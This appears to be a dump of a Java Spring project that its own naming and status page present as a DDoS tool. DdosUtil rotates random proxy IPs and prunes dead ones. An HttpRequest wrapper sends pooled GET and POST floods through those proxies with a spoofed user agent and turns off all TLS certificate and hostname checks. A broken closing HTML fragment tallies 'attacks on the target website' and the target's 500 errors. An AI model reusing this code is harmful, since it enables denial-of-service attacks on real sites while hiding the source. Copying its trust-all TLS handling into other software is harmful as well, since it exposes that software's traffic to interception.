| import com.video.data.model.IpInfoModel; 4 | import com.video.data.model.ProxyIp; 5 | 6 | import java.text.SimpleDateFormat; 7 | import java.util.Date; 8 | import java.util.List; 9 | 10 | public class DdosUtil { 11 | 12 | 13 | public static IpInfoModel selectOneIp() { 14 | ProxyIp proxyIpModel = SpringUtil.getBean(ProxyIp.class); 15 | List ipList = proxyIpModel.getProxyIps(); 16 | if(ipList.size() < 1) { 17 | return null; 18 | } 19 | int index = Integer.parseInt(String.valueOf(Math.round(Math.random() * (ipList.size() - 1)))); 20 | IpInfoModel ip = ipList.get(index); 21 | SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 22 | ip.setLastUseTime(sf.format(new Date())); 23 | return ip; 24 | } 25 | 26 | public static void remove(IpInfoModel ipInfoModel) { 27 | ProxyIp proxyIpModel = SpringUtil.getBean(ProxyIp.class); 28 | List ipList = proxyIpModel.getProxyIps(); 29 | ipList.remove(ipInfoModel); 30 | } 31 | 32 | public static void ipError(IpInfoModel ipInfo) { 33 | if(ipInfo.getDisconnectTimes() >= 5 && ipInfo.getAvailableTimes() < 1) { 34 | System.out.println(ipInfo.getIpInfo() + "代理无效,删除中"); 35 | DdosUtil.remove(ipInfo); 36 | }else{ 37 | ipInfo.setDisconnectTimes(ipInfo.getDisconnectTimes() + 1); 38 | } 39 | } 40 | 41 | public static void ipSuccess(IpInfoModel ipInfo) { 42 | ipInfo.setAvailableTimes(ipInfo.getAvailableTimes() + 1); 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/utils/HttpRequest.java: -------------------------------------------------------------------------------- 1 | package com.video.data.utils; 2 | 3 | import com.video.data.model.HttpModel; 4 | import org.apache.commons.lang.StringUtils; 5 | import org.apache.commons.logging.Log; 6 | import org.apache.commons.logging.LogFactory; 7 | import org.apache.http.Header; 8 | import org.apache.http.HttpEntity; 9 | import org.apache.http.HttpHost; 10 | import org.apache.http.NameValuePair; 11 | import org.apache.http.client.ClientProtocolException; 12 | import org.apache.http.client.HttpClient; 13 | import org.apache.http.client.config.RequestConfig; 14 | import org.apache.http.client.entity.UrlEncodedFormEntity; 15 | import org.apache.http.client.methods.CloseableHttpResponse; 16 | import org.apache.http.client.methods.HttpGet; 17 | import org.apache.http.client.methods.HttpPost; 18 | import org.apache.http.config.Registry; 19 | import org.apache.http.config.RegistryBuilder; 20 | import org.apache.http.conn.socket.ConnectionSocketFactory; 21 | import org.apache.http.conn.socket.PlainConnectionSocketFactory; 22 | import org.apache.http.conn.ssl.NoopHostnameVerifier; 23 | import org.apache.http.conn.ssl.SSLConnectionSocketFactory; 24 | import org.apache.http.conn.ssl.TrustSelfSignedStrategy; 25 | import org.apache.http.impl.client.BasicCookieStore; 26 | import org.apache.http.impl.client.CloseableHttpClient; 27 | import org.apache.http.impl.client.HttpClients; 28 | import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; 29 | import org.apache.http.message.BasicNameValuePair; 30 | import org.apache.http.protocol.HTTP; 31 | import org.apache.http.ssl.SSLContextBuilder; 32 | import org.apache.http.util.EntityUtils; 33 | 34 | import javax.net.ssl.*; 35 | import java.io.ByteArrayOutputStream; 36 | import java.io.IOException; 37 | import java.io.InputStream; 38 | import java.security.KeyManagementException; 39 | import java.security.KeyStoreException; 40 | import java.security.NoSuchAlgorithmException; 41 | import java.security.SecureRandom; 42 | import java.security.cert.CertificateException; 43 | import java.security.cert.X509Certificate; 44 | import java.util.ArrayList; 45 | import java.util.List; 46 | import java.util.Map; 47 | import java.util.Set; 48 | import java.util.zip.GZIPInputStream; 49 | import java.util.zip.GZIPOutputStream; 50 | 51 | /** 52 | * 利用HttpClient封装 get 和 post请求 53 | * Created by xiaoxia on 2018/2/23 0023. 54 | */ 55 | public class HttpRequest { 56 | private final static Log log = LogFactory.getLog(HttpRequest.class); 57 | private static final String GZIP_CONTENT_TYPE = "application/x-gzip"; 58 | private static final String DEFUALT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=UTF-8"; 59 | public static final String USER_AGENT = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1"; 60 | 61 | public static final int default_socketTimeout = 10000000; 62 | 63 | private HttpRequest(){} 64 | 65 | /** 66 | * 发送HTTP_POST请求 时默认采用UTF-8解码 67 | * 该方法会自动对params中的[中文][|][ ]等特殊字符进行URLEncoder.encode(string,encodeCharset) 68 | * @param reqURL 请求的url 69 | * @param params 请求参数 70 | * @return 71 | */ 72 | public static HttpModel sendPostRequest(String reqURL, Map params){ 73 | return sendPostRequest(reqURL, params, false, null, 74 | null, null, null); 75 | } 76 | 77 | public static HttpModel sendPostRequest(String reqURL, Map params, String proxyIpInfo){ 78 | return sendPostRequest(reqURL, params, false, null, 79 | null, null, proxyIpInfo); 80 | } 81 | 82 | /** 83 | * 发送HTTP_GET请求 84 | * @param reqURL 请求的url地址(含参数),默认采用utf-8编码 85 | * @return 86 | */ 87 | public static HttpModel sendGetRequest(String reqURL){ 88 | return sendGetRequest(reqURL,null,false); 89 | } 90 | 91 | public static HttpModel sendGetRequest(String reqURL, String encoding, Boolean inGZIP) { 92 | return sendGetRequest(reqURL, encoding, inGZIP, null, ""); 93 | } 94 | 95 | public static HttpModel sendGetRequest(String reqURL, Map header) { 96 | return sendGetRequest(reqURL, null, false, header, ""); 97 | } 98 | 99 | /** 100 | * @param reqURL 101 | * @param header 102 | * @param proxyIpInfo 103 | * @return 104 | */ 105 | public static HttpModel sendGetRequest(String reqURL, Map header, String proxyIpInfo) { 106 | return sendGetRequest(reqURL, null, false, header, proxyIpInfo); 107 | } 108 | 109 | /** 110 | * 代理IP格式:http:42.203.38.176:27681 111 | * @param reqURL string 112 | * @param encoding string 113 | * @param inGZIP bool 114 | * @param header map 115 | * @param proxyIp string 116 | * @return HttpModel 117 | */ 118 | public static HttpModel sendGetRequest(String reqURL, String encoding, Boolean inGZIP, Map header, String proxyIp) { 119 | HttpModel httpModel = new HttpModel(); 120 | RequestConfig requestConfig = getRequestConfig(proxyIp); 121 | CloseableHttpClient httpClient = getHttpClient(requestConfig); 122 | long responseLength = 0;//响应长度 123 | String responseContent = null; //响应内容 124 | HttpGet httpGet = new HttpGet(reqURL); 125 | if(inGZIP){ 126 | httpGet.setHeader(HTTP.CONTENT_TYPE,GZIP_CONTENT_TYPE); 127 | } 128 | httpGet.setHeader(HTTP.USER_AGENT, USER_AGENT); 129 | httpGet.setConfig(requestConfig); 130 | if(header != null) { 131 | for (Map.Entry entry : header.entrySet()) { 132 | httpGet.setHeader(entry.getKey().toString(), entry.getValue().toString()); 133 | } 134 | } 135 | try { 136 | trustEveryone(); 137 | try (CloseableHttpResponse response = httpClient.execute(httpGet)) { 138 | HttpEntity entity = response.getEntity(); 139 | if (null != entity) { 140 | responseLength = entity.getContentLength(); 141 | 142 | if (inGZIP) { 143 | responseContent = unGZipContent(entity, encoding == null ? "UTF-8" : encoding); 144 | } else { 145 | responseContent = EntityUtils.toString(entity, encoding == null ? "UTF-8" : encoding); 146 | } 147 | 148 | close(entity); 149 | } 150 | log.debug("请求地址: " + httpGet.getURI()); 151 | log.debug("响应状态: " + response.getStatusLine()); 152 | log.debug("响应长度: " + responseLength); 153 | log.debug("响应内容: " + responseContent); 154 | httpModel.setCode(response.getStatusLine().getStatusCode()); 155 | httpModel.setContent(responseContent); 156 | } 157 | //关闭连接,释放资源 158 | } catch (IOException e) { 159 | e.printStackTrace(); 160 | } 161 | return httpModel; 162 | } 163 | 164 | public static HttpModel sendPostRequest(String reqURL, Map params, Boolean gzip, String encodeCharset, 165 | String decodeCharset, Map header, String proxyIp) { 166 | String responseContent = null; 167 | RequestConfig requestConfig = getRequestConfig(proxyIp); 168 | CloseableHttpClient httpClient = getHttpClient(requestConfig); 169 | HttpPost httpPost = new HttpPost(reqURL); 170 | if(gzip){ 171 | httpPost.setHeader(HTTP.CONTENT_TYPE,GZIP_CONTENT_TYPE); 172 | } 173 | httpPost.setHeader(HTTP.USER_AGENT, USER_AGENT); 174 | 175 | List formParams = new ArrayList(); //创建参数队列 176 | Set> paramSet = params.entrySet(); 177 | HttpModel httpModel = new HttpModel(); 178 | if(paramSet.size() > 0){ 179 | for(Map.Entry entry : paramSet){ 180 | formParams.add(new BasicNameValuePair(entry.getKey(), entry.getValue())); 181 | } 182 | } 183 | log.debug("send params:"+formParams.toString()); 184 | if(header != null) { 185 | for (Map.Entry entry : header.entrySet()) { 186 | httpPost.setHeader(entry.getKey().toString(), entry.getValue().toString()); 187 | } 188 | } 189 | try { 190 | // 设置参数 191 | httpPost.setEntity(new UrlEncodedFormEntity(formParams, encodeCharset==null ? "UTF-8" : encodeCharset)); 192 | 193 | httpPost.setConfig(requestConfig); 194 | trustEveryone(); 195 | try (CloseableHttpResponse response = httpClient.execute(httpPost)) { 196 | HttpEntity entity = response.getEntity(); 197 | if (null != entity) { 198 | String contentType = ""; 199 | Header[] headers = httpPost.getHeaders(HTTP.CONTENT_TYPE); 200 | if (headers != null && headers.length > 0) { 201 | contentType = headers[0].getValue(); 202 | } 203 | 204 | if (contentType.equalsIgnoreCase(GZIP_CONTENT_TYPE)) { 205 | responseContent = unGZipContent(entity, decodeCharset == null ? "UTF-8" : decodeCharset); 206 | } else { 207 | responseContent = EntityUtils.toString(entity, decodeCharset == null ? "UTF-8" : decodeCharset); 208 | } 209 | close(entity); 210 | } 211 | 212 | log.debug("请求地址: " + httpPost.getURI()); 213 | log.debug("响应状态: " + response.getStatusLine()); 214 | log.debug("响应内容: " + responseContent); 215 | httpModel.setCode(response.getStatusLine().getStatusCode()); 216 | httpModel.setContent(responseContent); 217 | } 218 | } catch (IOException e) { 219 | e.printStackTrace(); 220 | } 221 | return httpModel; 222 | } 223 | 224 | private static CloseableHttpClient getHttpClient(RequestConfig requestConfig) { 225 | SSLContextBuilder builder = new SSLContextBuilder(); 226 | SSLConnectionSocketFactory sslConnectionSocketFactory = null; 227 | try { 228 | builder.loadTrustMaterial(null, new TrustSelfSignedStrategy()); 229 | sslConnectionSocketFactory = new SSLConnectionSocketFactory(builder.build(), 230 | NoopHostnameVerifier.INSTANCE); 231 | } catch (NoSuchAlgorithmException | KeyStoreException | KeyManagementException ignored) { } 232 | //不进行主机名验证 233 | Registry registry = RegistryBuilder. create() 234 | .register("http", new PlainConnectionSocketFactory()) 235 | .register("https", sslConnectionSocketFactory) 236 | .build(); 237 | PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(registry); 238 | cm.setMaxTotal(10000); 239 | return HttpClients.custom() 240 | .setSSLSocketFactory(sslConnectionSocketFactory) 241 | .setDefaultCookieStore(new BasicCookieStore()) 242 | .setConnectionManager(cm) 243 | .setDefaultRequestConfig(requestConfig).build(); 244 | } 245 | 246 | private static RequestConfig getRequestConfig(String proxyIp) { 247 | RequestConfig requestConfig; 248 | if(!StringUtils.isEmpty(proxyIp)) { 249 | String[] proxyInfo = proxyIp.split(":"); 250 | HttpHost proxy = new HttpHost(proxyInfo[1], Integer.parseInt(proxyInfo[2]), proxyInfo[0]); 251 | requestConfig = RequestConfig.custom() 252 | .setSocketTimeout(default_socketTimeout) 253 | .setConnectTimeout(default_socketTimeout) 254 | .setProxy(proxy).build(); 255 | }else{ 256 | requestConfig = RequestConfig.custom() 257 | .setSocketTimeout(default_socketTimeout) 258 | .setConnectTimeout(default_socketTimeout).build(); 259 | } 260 | return requestConfig; 261 | } 262 | 263 | public static void trustEveryone() { 264 | try { 265 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { 266 | @Override 267 | public boolean verify(String hostname, SSLSession session) { 268 | return true; 269 | } 270 | }); 271 | SSLContext context = SSLContext.getInstance("TLS"); 272 | context.init(null, new X509TrustManager[] { new X509TrustManager() { 273 | @Override 274 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { 275 | } 276 | @Override 277 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { 278 | } 279 | @Override 280 | public X509Certificate[] getAcceptedIssuers() { 281 | return new X509Certificate[0]; 282 | } 283 | } }, new SecureRandom()); 284 | HttpsURLConnection.setDefaultSSLSocketFactory(context.getSocketFactory()); 285 | } catch (Exception e) { 286 | e.printStackTrace(); 287 | } 288 | } 289 | 290 | /** 291 | * 解压 292 | * @param entity 293 | * @param encoding 294 | * @return 295 | * @throws IOException 296 | */ 297 | public static String unGZipContent(HttpEntity entity,String encoding) throws IOException { 298 | String responseContent = ""; 299 | GZIPInputStream gis = new GZIPInputStream(entity.getContent()); 300 | int count = 0; 301 | byte data[] = new byte[1024]; 302 | while ((count = gis.read(data, 0, 1024)) != -1) { 303 | String str = new String(data, 0, count,encoding); 304 | responseContent += str; 305 | } 306 | return responseContent; 307 | } 308 | 309 | /** 310 | * 压缩 311 | * @param sendData 312 | * @return 313 | * @throws IOException 314 | */ 315 | public static ByteArrayOutputStream gZipContent(String sendData) throws IOException{ 316 | if (StringUtils.isBlank(sendData)) { 317 | return null; 318 | } 319 | 320 | ByteArrayOutputStream originalContent = new ByteArrayOutputStream(); 321 | originalContent.write(sendData.getBytes("UTF-8")); 322 | 323 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 324 | GZIPOutputStream gzipOut = new GZIPOutputStream(baos); 325 | originalContent.writeTo(gzipOut); 326 | gzipOut.close(); 327 | return baos; 328 | } 329 | 330 | public static void close(HttpEntity entity) throws IOException { 331 | if (entity == null) { 332 | return; 333 | } 334 | if (entity.isStreaming()) { 335 | final InputStream instream = entity.getContent(); 336 | if (instream != null) { 337 | instream.close(); 338 | } 339 | } 340 | } 341 | 342 | } 343 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/utils/Regex.java: -------------------------------------------------------------------------------- 1 | package com.video.data.utils; 2 | 3 | import java.util.regex.Matcher; 4 | import java.util.regex.Pattern; 5 | 6 | public class Regex { 7 | 8 | public static final String ipRegex = "([1-9]|[1-9]\\\\d|1\\\\d{2}|2[0-4]\\\\d|25[0-5])(\\\\.(\\\\d|[1-9]\\\\d|1\\\\d{2}|2[0-4]\\\\d|25[0-5])){3}"; 9 | 10 | public static boolean regex(String regex, String str) { 11 | Pattern pattern = Pattern.compile(regex); 12 | Matcher matcher = pattern.matcher(str); 13 | return matcher.matches(); 14 | } 15 | 16 | 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/utils/SpringUtil.java: -------------------------------------------------------------------------------- 1 | package com.video.data.utils; 2 | 3 | import org.springframework.beans.BeansException; 4 | import org.springframework.context.ApplicationContext; 5 | import org.springframework.context.ApplicationContextAware; 6 | import org.springframework.stereotype.Component; 7 | 8 | @Component 9 | public class SpringUtil implements ApplicationContextAware { 10 | 11 | private static ApplicationContext applicationContext; 12 | 13 | @Override 14 | public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { 15 | SpringUtil.applicationContext = applicationContext; 16 | } 17 | 18 | public static Object getBean(String beanName) { 19 | return applicationContext.getBean(beanName); 20 | } 21 | 22 | public static T getBean(Class beanClass) { 23 | return applicationContext.getBean(beanClass); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/main/java/com/video/data/utils/Utils.java: -------------------------------------------------------------------------------- 1 | package com.video.data.utils; 2 | 3 | import java.util.Random; 4 | 5 | public class Utils { 6 | 7 | public static String generateRandomStr(int length) { 8 | String str = "qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM123456789"; 9 | StringBuilder sb = new StringBuilder(); 10 | Random random = new Random(); 11 | for (int i = 0; i < length; i++) { 12 | int number = random.nextInt(str.length()); 13 | sb.append(str.charAt(number)); 14 | } 15 | return sb.toString(); 16 | } 17 | 18 | } 19 | -------------------------------------------------------------------------------- /src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=8090 --------------------------------------------------------------------------------
系统启动时间:") 73 | .append(proxyIp.getStartTime()).append("
成功访问目标次数:"). 75 | append(proxyIp.getRequestTimes()).append("次
代理连接不上次数:") 77 | .append(proxyIp.getIpErrorNumber()).append("次
目标网站500错误次数:") 79 | .append(proxyIp.getRequestErrorTimes()).append("次
攻击目标网站次数:") 81 | .append(proxyIp.getTotalTimes()).append("次
已启用代理:[") 83 | .append(proxyList.toString()).append("]
").append(entry.getKey()) 86 | .append(":最后执行时间:") 87 | .append(entry.getValue()).append("